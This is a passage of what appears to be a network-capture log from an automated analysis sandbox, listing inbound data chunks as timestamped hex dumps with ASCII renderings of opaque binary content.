21 f6 a2 d5 74 2f 27 3c 89 89 e5 d5 b3 54 ec cb 16 96 80 13 31 68 35 0c 8a df fa 7f c8 9c 23 38 06 2e ae 0b 93 02 93 3f f2 a2 d1 44 04 13 4a 42 32 75 f5 45 4e c5 4b f2 36 6e ca 1c f4 13 21 8b 78 9a dd 07 49 ce 9b Data Ascii: @\&_n79%XXG<QbgbOSeS/wDJfMlGT^a"L'@t)k5HrgzJP[]ZQ={A9sD-ns-F^8&ebs!t/'<T1h5#8.?DJB2uENK6n!xI
2023-07-18 15:37:06 UTC	640	IN	Data Raw: 74 e7 4b d9 19 77 64 56 c3 83 f3 f7 e9 45 8e 79 9e 16 85 f5 32 97 90 27 ac 52 82 73 0a a2 07 77 f9 75 f6 cc 90 70 3b 2c 4e 0c 22 46 25 be 10 a3 45 cb 04 4d 29 d0 b4 0a 7a 1b 6b 0e 50 8f b6 11 24 08 72 b2 2b ee b2 72 c2 f6 bd 65 f9 d2 c0 e8 5d 08 6d d6 bb 19 c4 0b 0d ea 9b 8c e6 cc e2 08 e9 8f 06 2e 67 cc 30 43 76 bb f5 dc cd 77 c7 a0 20 9c 51 5d 63 40 d1 de f8 8a 20 8e 53 29 7e c3 cd 81 27 6c e1 2d d9 2c 97 66 b7 f1 fc 9d d2 38 d1 40 70 f6 fc 5f 18 cf 5d bd 74 54 aa f1 0e 06 4d c4 ed f5 0a 62 0e a0 11 62 90 e8 7c 32 49 71 c8 33 f1 2f 36 e8 f7 5d f3 ec 44 26 dd 0d 28 a5 5c ae 7d d3 a1 fa b0 61 fd 93 8d 6c aa 8e ea 9e 31 6d e9 00 c9 8f b0 5d 92 25 92 74 38 c9 af 92 6d fd e0 62 31 5d 18 49 8e 1b 4f 94 3e ac 31 4e 70 55 95 58 6d 58 35 c7 d8 98 cd 0b 29 e4 87 Data Ascii: tKwdVEy2'Rswup;,N"F%EM)zkP$r+re]m.g0Cvw Q]c@ S)~'l-,f8@p_]tTMbb\|2Iq3/6]D&(\}al1m]%t8mb1]IO>1NpUXmX5)
2023-07-18 15:37:06 UTC	656	IN	Data Raw: b3 5d 36 79 ee a1 00 62 08 3b f7 6a 6e 43 8f b1 bf 15 36 1b 6f a0 43 af 95 43 80 97 8c d5 27 7d 11 0b 56 02 90 59 2c 56 58 89 e0 1a a7 67 f0 d8 2d af f9 c6 cb 08 fc e0 8b ff e7 9d 98 59 5b c3 24 0b e8 c1 9a c6 38 5c 30 d3 4e 72 85 2c 80 85 1e f9 d5 eb 27 a1 13 ba 8b f1 e5 1c 4f 7a b3 2a 54 64 d1 dc 0a 47 f7 2d 85 a9 e9 fe fd 8f ad 71 bd 3a ac 06 e6 e9 fb 69 4c 3e db 68 ed a1 83 9c 15 5c c8 3a 43 fe d1 a8 61 a1 3f a2 cd 95 38 73 9c f9 92 a3 9e fd 70 64 ba 71 65 a9 0c 9b 50 96 4e 60 a6 f2 aa cd d6 6b b2 03 75 58 9d d1 aa 1b d0 c0 01 51 43 32 5a 91 14 74 57 81 57 73 e7 64 4a aa 63 8b fe d4 4c a7 48 bc fb 5e c4 52 bd 1f 33 2c d5 91 91 03 1e 46 bb c7 e4 f5 b0 4f fb 37 9b 2a b1 23 f5 cb ce 1f 8c d0 1c 1d eb 53 f1 e7 d1 f3 69 74 f7 08 cc d8 0c 08 7e b3 c1 25 4d Data Ascii: ]6yb;jnC6oCC'}VY,VXg-Y[$8\0Nr,'OzTdG-q:iL>h\:Ca?8spdqePN`kuXQC2ZtWWsdJcLH^R3,FO7#Sit~%M
2023-07-18 15:37:06 UTC	672	IN	Data Raw: 39 04 f8 96 29 c7 3a f3 1b 41 21 75 eb f0 38 c7 ab af 3b 27 aa 59 17 e4 24 91 0f 4b 1f ac db d7 a6 55 31 56 1b 5e 4c 82 89 df 47 b5 c8 ed 6c ad 1d bb ed 49 3b 8e 99 af 7d ca b7 02 45 4d 6d 20 3e ec 76 8a a0 0d 74 f6 d7 60 35 9d 77 ec 38 75 ed 40 3a 10 a5 f0 22 14 3e 78 3d 42 e8 1f 0b 22 ea a2 9b 9f 40 80 90 50 43 29 c6 ad 63 a1 11 13 df 28 61 2b 45 8d cc 6f 07 78 06 f9 17 83 d7 1b 36 b1 0a 60 dd 57 44 30 2e 9c 73 34 c9 59 d4 92 1f ad 99 e3 64 04 b3 e2 63 4d ab 49 b1 78 55 91 98 87 87 6f 2a ca 74 34 f9 b9 cf 61 d9 36 5d e1 a4 51 a2 15 b7 3d fe 81 ac ab c6 7d 52 0f 66 ba 4c e1 98 fc d3 c0 6d 25 f1 ab cb 19 a3 9b 8e 27 59 82 14 c1 ad 33 92 8e 92 0d c0 f9 e9 91 a5 dd 6d a1 12 c8 44 e1 d4 a2 92 c6 e4 63 7b bf e6 38 9f e7 ce b7 99 7c a0 9a 82 03 18 e7 b6 0e 55 Data Ascii: 9):A!u8;'Y$KU1V^LGlI;}EMm >vt`5w8u@:">x=B"@PC)c(a+Eox6`WD0.s4YdcMIxUo*t4a6]Q=}RfLm%'Y3mDc{8\|U
2023-07-18 15:37:06 UTC	688	IN	Data Raw: be b4 9b 87 48 39 e8 5e 27 2f 3f 5b 4b 3d 98 9d 6f 96 cc 81 98 86 7e 14 6e 8c 01 db cb 47 d4 7c ee 7a 19 23 02 71 4f dc 76 aa b8 56 e4 5d ce db 87 67 c5 64 70 21 89 58 c5 cf 4e ff 26 bf 09 9e 23 de 9e 7c 91 0a dc af f9 ce 74 e5 76 e6 e8 88 85 93 6e ad 06 23 2d 41 88 9b 9d 6d 6d 26 29 18 f3 01 12 a1 66 b5 3a 31 e2 38 00 01 f3 16 20 de d5 74 2a a9 92 89 f7 a0 16 9d 15 fd fc 11 3a 9f ef 48 cf 53 9c 1b fc 20 5d 62 7d da b0 e6 4f 32 d7 07 0e 8f 62 f3 e9 0b 6f 19 df 87 40 44 57 e1 87 52 ab 85 c0 cd 43 75 cf 7a f5 ab ab 71 d6 be bf a5 b0 03 ee 18 1e 3f af d1 f5 10 f1 20 ad 79 81 d3 7b 6c 02 b4 27 79 3f 7a 08 b3 e8 f3 8d 25 5b cc af 77 44 85 11 f7 e4 72 be 2b 3e db 20 8b 71 47 5b ec c9 b7 89 52 f1 d4 0a e3 ec 88 a6 6f a6 eb f5 95 09 2d da a6 85 1f 93 a8 08 47 9b Data Ascii: H9^'/?[K=o~nG\|z#qOvV]gdp!XN&#\|tvn#-Amm&)f:18 t*:HS ]b}O2bo@DWRCuzq? y{l'y?z%[wDr+> qG[Ro-G
2023-07-18 15:37:06 UTC	704	IN	Data Raw: cc 80 06 5f ba 3d 19 43 fa 85 bc b8 7f 92 d6 f7 5a 65 3d ca f4 47 f8 b2 0b 57 6d b5 0d d4 bd 2f d2 53 7e 13 f3 0e 3b 38 fb 72 5e 27 76 ef 7d ac d6 87 de 4d 2d 81 4d d5 ff 19 bc 6a 5d 0d bf 47 e8 13 3e 79 ab 17 76 1b 6c 16 a3 51 0f d6 27 20 2b 42 7a 5f 1f cd 7b c8 57 d0 ba 44 d7 d2 27 12 ca da 23 f8 82 06 c9 95 58 48 39 18 fa f8 1d a2 75 10 30 d6 2d 02 ae 91 a3 9d ec f5 fd 11 5b 02 b3 32 91 eb 1f 2d 59 d7 31 1a 4b 88 4c 0e 13 bd 9c a8 2f e6 10 76 ba 52 cb 14 fb ec de 01 6d 62 90 8e 1e 77 7f c2 93 da f6 a7 be 6e 5f dd ee 8c 61 b5 8f b3 8d 53 22 c8 49 18 b1 f5 84 9f ff ba a6 bb e3 b2 d8 7c 6b ce b0 47 41 5a 6e 71 e4 fd ea 0a 07 90 41 aa 3f 37 37 1f 87 8c a3 9d 75 b7 64 fc 38 2e 0a 47 b9 b6 12 bc 64 7e fc ba c1 31 0c 2c bf 0b 87 dc 29 56 4b cd fb 47 e0 3c 77 Data Ascii: _=CZe=GWm/S~;8r^'v}M-Mj]G>yvlQ' +Bz_{WD'#XH9u0-[2-Y1KL/vRmbwn_aS"I\|kGAZnqA?77ud8.Gd~1,)VKG<w
2023-07-18 15:37:06 UTC	720	IN	Data Raw: 57 fc 57 9d 7e 5e 5c de b4 05 a0 a6 2a 48 1a 2c 31 e4 09 b9 da 17 ed 38 d5 53 e9 2b a8 45 3c 80 d0 01 83 57 ac 5a 42 62 c9 90 5c f6 23 ee e0 10 08 02 06 12 bb f3 a6 e1 4f 2a 22 f5 4f 3c d0 5a b9 5f 0a 3e 53 02 7c 06 8b e2 bf 96 c5 41 ba 23 a6 a7 9f 6a 57 83 c6 24 2e 70 68 34 0b c6 c6 b9 f7 8b d2 bd 9a 70 e8 99 a5 7c dd 6d 53 b9 7a f1 3c f9 af e1 b2 9d 18 65 6e d3 cc 89 e3 f9 fb 41 50 aa 2c 15 c5 c0 52 57 56 8f dd d5 d8 a0 62 a3 1e 9b 84 6c 52 d1 05 dc 21 fb c2 99 1a bc 3e 75 36 e6 80 b3 9e 98 c1 10 32 8d e0 94 0b 0a 9f 85 ff 21 b8 b2 59 9f 24 99 61 8d db 1c a3 93 12 81 14 3e 06 9d 57 a0 81 a0 eb 07 f1 c5 fe 4b 2b c9 9f 14 2a a4 80 b9 04 92 62 49 fd 8f 68 ad 50 c4 66 8b 7a 77 bc 42 90 1f c4 f1 61 75 ae e4 63 86 d4 bc 4b 63 44 3f d1 a3 b5 02 f5 23 95 b9 6c Data Ascii: WW~^\H,18S+E<WZBb\#O"O<Z_>S\|A#jW$.ph4p\|mSz<enAP,RWVblR!>u62!Y$a>WK+*bIhPfzwBaucKcD?#l
2023-07-18 15:37:06 UTC	736	IN	Data Raw: 6b 09 67 3c 50 f9 8b f8 24 f7 b1 af da d0 db 76 df 41 2c 26 ad 34 e3 a6 9f 4a e8 46 09 7c 09 df 04 d1 c3 90 21 7e b6 d8 16 2c 8c 36 a9 34 a4 24 1b 3c 77 56 5c 61 1e 07 c7 25 fd f8 a0 9e c7 51 f3 90 75 11 3d 1f e9 66 af 78 c6 54 f2 00 14 69 d8 f9 da b0 fd fb 84 dc a9 c2 3f 20 42 68 58 99 d2 3d 33 cf fe b8 4d ed 7c 3a 0c 0f 8d 73 dc 44 c6 b5 f7 3f c4 8b b1 d6 a3 60 1c 33 b7 b0 0b 24 b9 3d 53 1b 3f 26 ee ec f6 90 86 74 f5 7d 9d 84 b6 18 2d 21 ab 0f 73 ab c9 1e 83 9e 01 8e be b0 14 1c 04 74 9a 78 bb e7 1b 4f 9e e5 2c 36 65 37 c3 59 2f 44 c0 cb 5c 05 b3 7d 28 36 79 c1 7f dc 82 d7 83 47 9d b5 6b 3f 26 22 e6 b5 04 d0 a5 5c 05 d4 3e 90 39 1f 2f bc 5c 7e 8a 3b e5 67 1e 67 92 b8 a8 d1 98 09 6c dd a1 8b c0 d9 a3 57 32 88 0c f9 9a 68 24 26 eb ca 95 a4 a8 9d 29 1b 81 Data Ascii: kg<P$vA,&4JF\|!~,64$<wV\a%Qu=fxTi? BhX=3M\|:sD?`3$=S?&t}-!stxO,6e7Y/D\}(6yGk?&"\>9/\~;gglW2h$&)
2023-07-18 15:37:06 UTC	752	IN	Data Raw: 9e 1f d8 3e be 79 00 f4 d1 47 45 0e 96 35 ff 7c 19 4e dd ce 5b 2c b2 3e 64 f9 17 67 f2 39 76 d1 1b 7f e7 1e a2 72 16 62 84 6b 0c 6b 3b 4a 9b 12 ec f7 9e ff 4e 22 fb aa 76 8a 7a e0 11 d8 fe 46 40 79 79 9b 77 d7 80 f2 f5 d0 c2 a6 ac c7 3b 49 80 86 2b b5 3e 11 78 d6 a9 14 49 f5 74 9f 4b c8 4a b6 5c f6 28 5f 01 8b 83 a2 93 92 92 0a 24 8a c6 70 1c fd cc 29 1c aa f7 56 9a b4 8d 04 ac cf d5 f2 69 6f c3 d6 bb 28 70 31 58 fb 50 1c 6c 96 79 1e c0 56 04 33 c6 d5 b7 6d 8a fa 9d eb a6 bf 5a 13 c8 d2 66 95 52 f9 d6 a6 7a 72 55 7d 46 c6 08 08 81 01 8b 8b 98 65 c9 de ce 3f 04 cc da 8f 8d 05 0e 4a 6e 44 46 9b a8 38 1f 0e 66 d2 ee 26 99 ad d5 ea 51 a1 e1 7f 39 6b 9b 9b 03 65 fb 20 8e ce 97 6a 19 da 5b 83 52 d4 ae f5 5a 10 24 ba aa 57 28 1e 30 83 f1 71 0a 0a 51 a7 8a 39 0b Data Ascii: >yGE5\|N[,>dg9vrbkk;JN"vzF@yyw;I+>xItKJ\(_$p)Vio(p1XPlyV3mZfRzrU}Fe?JnDF8f&Q9ke j[RZ$W(0qQ9
2023-07-18 15:37:06 UTC	768	IN	Data Raw: 8f 55 d1 35 78 84 21 9b 8a 97 28 3b f6 c5 79 ac 5d 69 26 3f 56 dd 9a de 7c 35 c6 41 92 86 f7 bb 3e aa a0 0e 1f 52 b2 d6 1a de 56 5f fd 95 70 cb e7 d7 62 ba 95 6c f9 0b ac 9a 6d 72 de 30 88 81 21 27 95 63 97 69 af 6b 0a 78 6a 32 4d c3 0e 08 0b 87 12 47 ca 95 f0 19 bd b7 b8 40 8d 13 fb 50 54 81 f4 5d 69 aa 9e 1f d7 77 03 e5 e0 46 a2 4d 93 0d 84 78 bc 9f bb 41 c3 59 5f e3 6c eb a0 83 6d f7 bd 74 82 77 6a fb ed 0f 89 da 51 12 ad 25 1e e1 bf 0a 68 ac 86 12 c5 4a 50 be 76 a4 1b 82 a7 08 26 c3 3c ac ef fc 1c 88 b5 7a 58 4b 36 1d af 24 8e da a4 b2 8e 9e c1 aa ed 6f 0d 92 3b fc 07 cc 75 46 7c d8 87 72 18 af f0 a6 bf eb d0 3a 0d 2f a2 0c 17 32 b2 53 29 b7 cd ec b3 aa ce 81 12 b1 bd f4 e5 2a ff 7f 3c 81 c1 cc 17 f9 95 d9 fe 73 af b3 51 56 41 73 0d d9 bb ca 75 11 c1 Data Ascii: U5x!(;y]i&?V\|5A>RV_pblmr0!'cikxj2MG@PT]iwFMxAY_lmtwjQ%hJPv&<zXK6$o;uF\|r:/2S)*<sQVAsu
2023-07-18 15:37:06 UTC	784	IN	Data Raw: 7a 12 af 4a de f8 6b 49 62 3f aa 00 a3 eb 5d e0 49 7e 20 ac 6c 72 28 da a8 61 d1 13 e0 0d af ef 6b 81 ee ec 3c eb e3 be 47 76 61 09 a8 8e 3d 74 89 33 89 1f 14 d9 eb c6 7e 79 b1 0e c4 d4 27 8c c5 02 04 ab 0a 92 5b b3 b7 79 50 ad 3c 65 5c 21 27 f2 d0 6d 89 be b4 da 8c 04 06 7d 28 af df 59 31 e0 96 fa 39 49 5f 6a 38 1e 30 9f 33 bf 6d 88 11 90 4f 1a 7c b4 2b db 7e ff 2e 96 d8 3a eb 2c 22 cf b3 02 08 d6 5c db 65 99 0d 18 d5 c9 fe e5 2d 18 c1 f8 5b 21 21 a2 bc b0 81 e0 81 98 70 8f 55 af 50 eb 86 57 c1 9c 12 25 fd 1b 32 ce 3b 6c d0 65 27 f0 8c 78 15 48 ee 99 c4 18 66 14 57 a3 e1 94 31 14 b1 00 fd ec 8b 80 3b 10 85 99 20 14 6e 42 86 f2 58 5b df a8 96 c8 b4 02 af ca ff 3b ad b8 47 75 3a c2 2e 05 d0 df 43 25 66 e0 8d 02 0a bd eb 3a 00 ba ca 80 f8 2d 30 d8 3d a8 28 Data Ascii: zJkIb?]I~ lr(ak<Gva=t3~y'[yP<e\!'m}(Y19I_j803mO\|+~.:,"\e-[!!pUPW%2;le'xHfW1; nBX[;Gu:.C%f:-0=(
2023-07-18 15:37:06 UTC	800	IN	Data Raw: 94 95 49 88 be 81 6c cd 63 53 e7 aa e5 10 7f db 9d f5 e3 f4 92 ec 2a b9 31 e4 05 ea 76 db 8a 13 08 ce 08 80 3f 6e 73 06 3b d6 f4 0a 88 42 d0 ab 8e 9f 49 a6 eb d2 f7 95 c0 42 ab cd 23 e3 0f f5 3e 63 1d aa cd 90 ac c7 ff a4 35 5c d8 e5 0b 89 40 7f 5b 9e 89 a8 dd b0 ba 46 71 13 3e ee fb 0d f5 69 48 f1 2c 47 b9 19 6c c9 85 88 d5 0d 09 d1 9c 85 c2 53 c6 f9 d8 2c 05 ab fb 0e d2 57 df 6c fb 76 ad 37 ad 47 d5 53 b2 bb 9f 66 d0 0a 3b d9 5e 4f 12 5f 2f 24 d5 44 fa 8d dd f5 7d fb 0a 88 7a f7 54 32 7e 85 6a 05 df 83 c3 3e a9 6d 48 ce 3c c1 53 2c b4 bb a6 0d ce 2c 6c c3 9c 8c 23 11 23 6e c0 3e fd 8c c5 74 94 10 69 a9 28 53 3b 38 4b 00 54 82 0a 19 6a 5f 1a b7 0f 49 10 4c d0 99 69 45 a1 8e dc a4 d8 dd 15 09 e9 4c 2a e6 81 2c 48 79 71 c9 9d 8e 0d c2 c0 1f 2d 78 3b f7 dd Data Ascii: IlcS1v?ns;BIB#>c5\@[Fq>iH,GlS,Wlv7GSf;^O_/$D}zT2~j>mH<S,,l##n>ti(S;8KTj_ILiEL,Hyq-x;
2023-07-18 15:37:06 UTC	816	IN	Data Raw: a8 35 d7 aa ab 06 16 1e ee 40 12 72 32 a6 b5 27 8a c9 f4 e7 46 71 6b 48 03 88 02 bf e7 13 1f 69 41 f7 08 b7 4b 39 48 92 bb 12 fb 0b 88 af 5c 5a 34 8d 1e dd 2d d7 7d 6f dd 7b 25 b6 c2 98 8f 07 26 e3 a3 01 fc 5e b5 b4 86 a3 af 21 1e 0a 2e 2e ef 6e 6c b6 18 87 32 ee c8 b7 9f b9 46 e9 ac 20 a4 8b aa 39 c6 2a 9d 0e 01 00 21 84 99 1c 66 54 ab fc 00 0a 08 18 65 d7 b8 78 a9 2b 85 9c 2e df 2d c3 f0 00 c2 66 c2 e2 45 88 e2 2d 70 8c 39 97 0f 1e d0 5f f1 82 17 50 e4 8b 1e 26 70 d9 be 5b e8 11 70 b0 20 2f f1 0c 95 d4 5b e2 20 1c 8e c3 f3 b0 2e c4 1a 4e 4a 35 90 be 0a dd d0 c5 ca fb 93 6c 2e 36 6b 8a 6f 00 0f 6c be 61 1c 5e 35 29 7c d3 3c 32 15 f9 02 25 06 4f 0f 75 45 6b 93 1e 9c f7 9c 98 16 3e 3c 98 36 fd 5c 7b 26 e1 09 bc 35 42 3b cf 42 1c 84 4c 6e 07 a2 48 85 41 6d Data Ascii: 5@r2'FqkHiAK9H\Z4-}o{%&^!..nl2F 9*!fTex+.-fE-p9_P&p[p /[ .NJ5l.6kola^5)\|<2%OuEk><6\{&5B;BLnHAm
2023-07-18 15:37:06 UTC	832	IN	Data Raw: be f0 e4 f8 b7 38 d6 ea 35 2d f3 ed 64 7e 63 29 cd 95 29 a0 4b 46 8b 60 12 da cc 83 9a 9e 47 6e 9a eb 0f 4d ec 0c 65 8d 86 3c 3c 04 9a 32 39 93 ba 88 de 9e e8 89 c0 a3 5b 54 73 bf 56 63 5a d8 8c cf fa 00 26 33 6a b8 65 79 14 5d 3c 90 7f c6 23 f4 a1 52 62 d3 55 d3 c6 58 32 9b 21 9c f7 bf ef ea 0f ef 21 ce 70 d4 56 06 fa 17 49 65 88 38 d0 8d 79 16 8c 1f f8 f3 5c ae de dd dc 5e 7c c5 67 24 cb b6 0f 54 3b 59 58 05 44 34 c9 d7 bb 03 8b f5 32 e2 32 f7 58 d3 38 af 43 11 31 46 f6 0a 71 c2 ad a1 e3 4a 3d a5 f1 dd 02 7d 76 dc 14 b6 14 7a ba 74 61 94 23 ac f6 61 38 83 76 31 b1 d2 95 70 4d 4d 94 b9 5e 83 ff 36 a4 7a 05 48 77 d0 a2 b8 5c 68 89 f4 8b dd ba 67 a6 f0 e9 4d 8b 1d ef 8f ef 29 5a 6a cd 6f 2e ed da dc 5e d0 7e c6 a1 b0 56 97 61 c3 68 fa f1 3a 25 04 b6 f9 b0 Data Ascii: 85-d~c))KF`GnMe<<29[TsVcZ&3jey]<#RbUX2!!pVIe8y\^\|g$T;YXD422X8C1FqJ=}vzta#a8v1pMM^6zHw\hgM)Zjo.^~Vah:%
2023-07-18 15:37:06 UTC	848	IN	Data Raw: 72 90 e0 42 7a e8 00 20 5e a8 4f ca b3 87 aa ba a9 b6 d3 97 4e 0c bb b0 36 1a 1e 63 b7 69 ff 6e 43 32 1f 1d ef 60 af f2 ce fb 35 21 b5 5b 84 19 ab 39 1a b2 0b c6 92 ce df 67 4b f0 5e 80 d6 c2 5c 75 f7 a0 c5 3e 9b 27 f3 83 65 e9 6e 96 10 cf 96 6b 0f 1e 98 53 08 83 0e 87 52 7d 50 7c d4 4c df 65 33 f0 df d5 31 25 fc 2c 9e 59 c0 31 b6 fb 00 b1 45 75 f2 76 f9 c4 db cb 31 16 73 4c e8 a5 dd 1c e8 cb 91 58 d4 33 b8 03 85 7f 65 79 b8 ed 55 ce 53 d5 78 3a 86 61 1e de 5e 11 1f 90 5c 24 c5 7e 5a 27 07 11 e9 1a 3a 60 ea 62 30 a1 dd cc 52 7d 5d 68 f3 13 8f 7e a0 32 26 a2 90 46 c5 a9 a0 34 7d 5f 82 67 f9 3b d3 d2 76 23 50 f7 9d 6d ba 5c 1d 92 c8 fc 2b 60 2f fb 37 b5 a6 f2 ab 25 af 26 32 33 5e 27 13 e1 ae a5 91 61 64 25 1b 38 b5 17 cd 6b 09 80 a4 25 27 2d cd ea c5 5c 99 Data Ascii: rBz ^ON6cinC2`5![9gK^\u>'enkSR}P\|Le31%,Y1Euv1sLX3eyUSx:a^\$~Z':`b0R}]h~2&F4}_g;v#Pm\+`/7%&23^'ad%8k%'-\
2023-07-18 15:37:06 UTC	864	IN	Data Raw: 46 4f 76 0b 4c 4b d0 14 f2 07 13 b8 8e 34 c2 44 44 f7 eb 80 9e 17 fc c1 07 80 95 cb bf 34 77 63 0c 92 f4 78 4c 06 3d c7 14 1c b3 dd 41 7a 52 bf 4e e2 0e 5d 45 1e 65 48 3d 0b c8 13 42 d5 d5 ab 2b 26 0d 67 da 46 d4 6d 73 dc 00 29 19 f3 14 50 1e 3d 1b 93 70 8d fa e9 70 39 e6 df 7e 42 90 d7 7d ad 0d 4b 97 aa 74 96 08 bb be da 52 f3 fc 00 04 f2 e6 52 b1 10 8c 83 f1 8e ae 51 6c 0b a9 c8 c7 f7 90 e1 94 19 52 1d 08 fc ec aa e4 51 95 91 7a c3 79 0f 41 79 1c f7 65 82 87 31 c5 6b fa 69 28 d0 e3 81 2d 78 15 7b 64 c6 04 d4 09 2d 69 5a c4 f8 b1 cf b4 55 ab b4 3d 09 14 79 ba e7 3d 15 63 05 f0 10 0d 97 50 07 ae 0b e3 80 a4 82 56 e9 6b 62 b6 27 92 fd 2f ab 82 02 0c 96 c8 f2 86 1a 5a b8 d9 05 bb 2c 20 2b a6 2a 49 49 53 ae 4d 70 37 8f 28 3b 89 49 cf 98 54 42 63 69 50 f2 ea Data Ascii: FOvLK4DD4wcxL=AzRN]EeH=B+&gFms)P=pp9~B}KtRRQlRQzyAye1ki(-x{d-iZU=y=cPVkb'/Z, +*IISMp7(;ITBciP
2023-07-18 15:37:06 UTC	880	IN	Data Raw: f4 3e 87 7d 4b 7b 2c 7b e4 7f f8 30 73 4d c5 4f ec b1 aa 13 70 bd ce a3 0b b2 8c 99 4e 43 31 a0 38 94 0c 78 70 d0 06 07 ba b5 b0 c1 8d ef 59 0c be ec c2 20 c9 bb ac ba 6b cf f6 0c e4 11 5a 12 59 8a 76 ad 89 4b 36 56 9b e1 c9 41 7e 9c 57 1c f3 f4 55 0c f3 de 72 c6 1b d0 2d e4 58 b0 ff 4b cb 9b 9d a2 2f 00 37 99 b3 e8 0c 0a 83 a7 58 c5 02 36 42 27 62 78 43 c3 39 6f b0 0a 55 f4 ae de ba fb 74 34 2d 9b 96 29 81 ef 71 de 7e ee 89 29 9d 37 00 b4 7b a4 c0 29 8b 83 e9 75 03 53 bb 61 7e 45 70 af 1a bd f3 c9 f7 a9 16 52 33 83 d9 a0 f2 88 9a b6 40 ca 97 56 f5 46 74 69 84 c3 3d b5 09 60 ec 2e 0b 58 86 d6 b3 70 67 63 85 6a 47 99 f0 c5 71 eb fa e2 5c b5 20 be 21 79 e0 c6 08 3f 43 7b 5c 7a 18 b0 ac 09 11 6c 73 b0 99 1b 98 b8 72 ff 94 56 bb a4 9d d6 d8 04 97 48 68 4d 32 Data Ascii: >}K{,{0sMOpNC18xpY kZYvK6VA~WUr-XK/7X6B'bxC9oUt4-)q~)7{)uSa~EpR3@VFti=`.XpgcjGq\ !y?C{\zlsrVHhM2
2023-07-18 15:37:06 UTC	896	IN	Data Raw: a2 ba 28 61 7d e5 bd 4d a8 75 de 68 fd 79 0e 0a 3f 2f 70 04 ce 13 aa 5f 0b 1a 11 69 5f 15 6e 72 33 60 3c 84 4c d3 c4 fa f0 40 5a 05 23 d3 30 7b 0f 4d b7 c1 28 ab 39 df 7e e4 26 17 d0 4b 1e e9 97 26 55 2f a8 c8 ab c5 6f bc 68 db 97 5c ee 56 3b d4 d4 b4 04 bb 25 c8 df 70 ab 47 08 07 2b 32 b9 8a 5f bd e9 05 5f ba 1c 04 d4 08 cb 04 ef 1f e8 52 18 fa d7 47 86 2a 2e 95 ee 8a 81 29 c6 2d bf fb 46 b2 a0 09 a0 6b 29 8c 7c c5 43 a7 50 bb d8 70 68 b0 11 b9 71 3d 77 5b 92 97 68 f6 f7 69 12 a9 ef 4d ed 0e c0 3d 9c 77 e6 3c 64 17 fe 56 f5 5d 95 a2 69 b3 e6 15 d6 87 33 fe da 35 f5 6f 8e 9b 8b 9b 62 e0 d4 7c f4 17 68 68 1f 81 8a 97 d6 c4 98 13 03 92 bb 19 93 35 e5 e8 90 7d ec bb 4c 0c 8e e9 d4 8d 29 47 8f 02 91 16 65 2a 6a f4 52 e4 bb e3 39 ca 9c ef 77 e9 ee 9e c6 fb be Data Ascii: (a}Muhy?/p_i_nr3`<L@Z#0{M(9~&K&U/oh\V;%pG+2__RG.)-Fk)\|CPphq=w[hiM=w<dV]i35ob\|hh5}L)GejR9w
2023-07-18 15:37:06 UTC	912	IN	Data Raw: 86 d4 e8 35 c4 98 28 c1 71 5b 19 a7 23 e3 17 61 50 49 25 47 2e 37 c3 73 da f1 eb 4d fc 68 05 e5 37 6a 5d 82 ca 2f cb aa 39 3a 7e 31 36 a9 82 a7 54 52 11 49 9c 2e 4a 63 25 ab af 28 0e b4 31 25 78 e7 93 42 c0 40 f9 7c 73 b6 a0 93 83 1a 25 1a 63 16 c9 ab e1 c3 63 5d ec 6c fc 33 3f eb 62 ed 31 df 74 3b 64 b2 4c a4 6e 91 b8 fd 16 94 f7 b3 9f 21 ab d0 0d 5c 68 1f 84 7f e5 0b 8d 81 37 39 da d8 70 02 0a 0d b0 7a 1d 72 02 38 94 b1 ac bb 02 16 eb ef 07 29 6c f9 6c 01 ec 36 0f f1 b7 65 f2 38 f3 35 08 05 f5 61 32 e7 b2 e4 6d 0b b5 9f 21 9e 32 57 0c a0 28 5a 23 48 99 bc 26 67 f1 ce 62 2f 4a ac 23 40 63 ee b9 2b 95 14 21 76 81 56 0d bd 43 5b 07 09 0c 1a 62 99 2e d1 06 ed 57 4d 30 42 e6 5a d7 f0 7a 3d cd 89 2e d4 8e 19 b8 c7 5b 5e 77 25 bd e9 f7 d6 bc 47 f3 a5 0a 57 27 Data Ascii: 5(q[#aPI%G.7sMh7j]/9:~16TRI.Jc%(1%xB@\|s%cc]l3?b1t;dLn!\h79pzr8)ll6e85a2m!2W(Z#H&gb/J#@c+!vVC[b.WM0BZz=.[^w%GW'
2023-07-18 15:37:06 UTC	928	IN	Data Raw: ee 8c 1e bd 90 5e 1d 86 dc 22 dd 5f 72 91 6e 09 90 5a 10 d2 74 b8 ac 9c 7f 86 f9 64 11 79 2c 7c 71 d4 97 63 08 18 76 49 76 57 9a 15 27 ad 0b cf 3f dd c7 1a 14 fc d8 c8 5a ee 87 2e c9 ce 4a 30 78 c9 35 a8 45 1b fb 22 cb 4e 03 57 68 87 97 9d f6 2b 9a 74 f9 c2 1b 6d 34 d1 56 88 f6 2d 56 76 2a 5c 05 b0 fb ca 77 90 07 b5 9b 79 28 75 81 dc 87 7b 75 0c 75 8d f5 88 93 66 73 a1 dc e8 81 46 34 39 f3 79 d3 fe f1 c1 36 4e 5e 40 9b 5d a1 5f 49 ab 69 c0 ad d3 32 0d 10 ed 33 84 f0 ca ad eb 54 86 27 6d b5 a2 97 7d 25 07 45 9c ca 79 2c 4f 64 68 ce fa e7 78 72 2a 27 f3 b7 65 2c 97 0c 11 1a 17 ed be dc 22 ea 9c 56 55 70 51 a9 80 d4 69 6a e2 d0 ac 49 d6 5c 2c 36 98 35 93 20 b7 b6 ca d8 33 4e d6 d4 7b b1 f2 94 9d 29 6b 5a ea 87 99 90 51 88 21 bd 09 2e 34 21 04 2e d2 4b 49 61 Data Ascii: ^"_rnZtdy,\|qcvIvW'?Z.J0x5E"NWh+tm4V-Vv\wy(u{uufsF49y6N^@]_Ii23T'm}%Ey,Odhxr'e,"VUpQijI\,65 3N{)kZQ!.4!.KIa
